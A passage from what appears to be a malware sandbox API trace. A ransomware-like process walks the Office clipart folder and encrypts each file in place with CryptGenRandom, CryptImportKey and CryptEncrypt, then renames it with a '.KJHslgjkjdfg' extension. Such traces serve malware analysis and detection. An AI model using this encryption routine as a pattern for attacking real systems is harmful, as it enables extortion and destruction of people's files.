Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.kjhslgjkjdfg")) returned 1 [0213.426] CloseHandle (hObject=0x130) returned 1 [0213.426] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0213.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.427] GetProcessHeap () returned 0x990000 [0213.427] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.428] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.441] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.441] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.441] GetProcessHeap () returned 0x990000 [0213.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.441] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.441] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.442] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.442] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.442] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.442] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.442] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.442] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.442] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x504, lpOverlapped=0x0) returned 1 [0213.442] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x510, dwBufLen=0x510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x510) returned 1 [0213.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.443] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x510, lpOverlapped=0x0) returned 1 [0213.443] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.443] SetEndOfFile (hFile=0x130) returned 1 [0213.449] GetProcessHeap () returned 0x990000 [0213.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.449] GetProcessHeap () returned 0x990000 [0213.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.kjhslgjkjdfg")) returned 1 [0213.451] CloseHandle (hObject=0x130) returned 1 [0213.451] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0213.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.453] GetProcessHeap () returned 0x990000 [0213.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.453] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.457] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.457] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.457] GetProcessHeap () returned 0x990000 [0213.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.457] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.458] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.458] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.458] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a54, lpOverlapped=0x0) returned 1 [0213.460] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60) returned 1 [0213.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.460] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a60, lpOverlapped=0x0) returned 1 [0213.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.460] SetEndOfFile (hFile=0x130) returned 1 [0213.462] GetProcessHeap () returned 0x990000 [0213.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.462] GetProcessHeap () returned 0x990000 [0213.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.kjhslgjkjdfg")) returned 1 [0213.464] CloseHandle (hObject=0x130) returned 1 [0213.464] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0213.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.465] GetProcessHeap () returned 0x990000 [0213.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.466] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.468] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.468] GetProcessHeap () returned 0x990000 [0213.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.468] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.468] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.469] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.469] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.469] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x574, lpOverlapped=0x0) returned 1 [0213.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580, dwBufLen=0x580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.469] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x580, lpOverlapped=0x0) returned 1 [0213.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.469] SetEndOfFile (hFile=0x130) returned 1 [0213.472] GetProcessHeap () returned 0x990000 [0213.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.472] GetProcessHeap () returned 0x990000 [0213.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.kjhslgjkjdfg")) returned 1 [0213.474] CloseHandle (hObject=0x130) returned 1 [0213.474] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0213.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.477] GetProcessHeap () returned 0x990000 [0213.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.477] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.477] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0213.631] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.631] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.631] GetProcessHeap () returned 0x990000 [0213.631] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.631] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.631] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.631] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.632] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.632] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.655] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.655] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.655] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.655] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19ca, lpOverlapped=0x0) returned 1 [0213.660] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19d0) returned 1 [0213.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.660] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19d0, lpOverlapped=0x0) returned 1 [0213.661] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.661] SetEndOfFile (hFile=0x130) returned 1 [0213.663] GetProcessHeap () returned 0x990000 [0213.664] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.664] GetProcessHeap () returned 0x990000 [0213.664] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.kjhslgjkjdfg")) returned 1 [0213.666] CloseHandle (hObject=0x130) returned 1 [0213.666] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0213.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.667] GetProcessHeap () returned 0x990000 [0213.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.667] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.667] SetFilePointerEx (in: hFile=0x130, 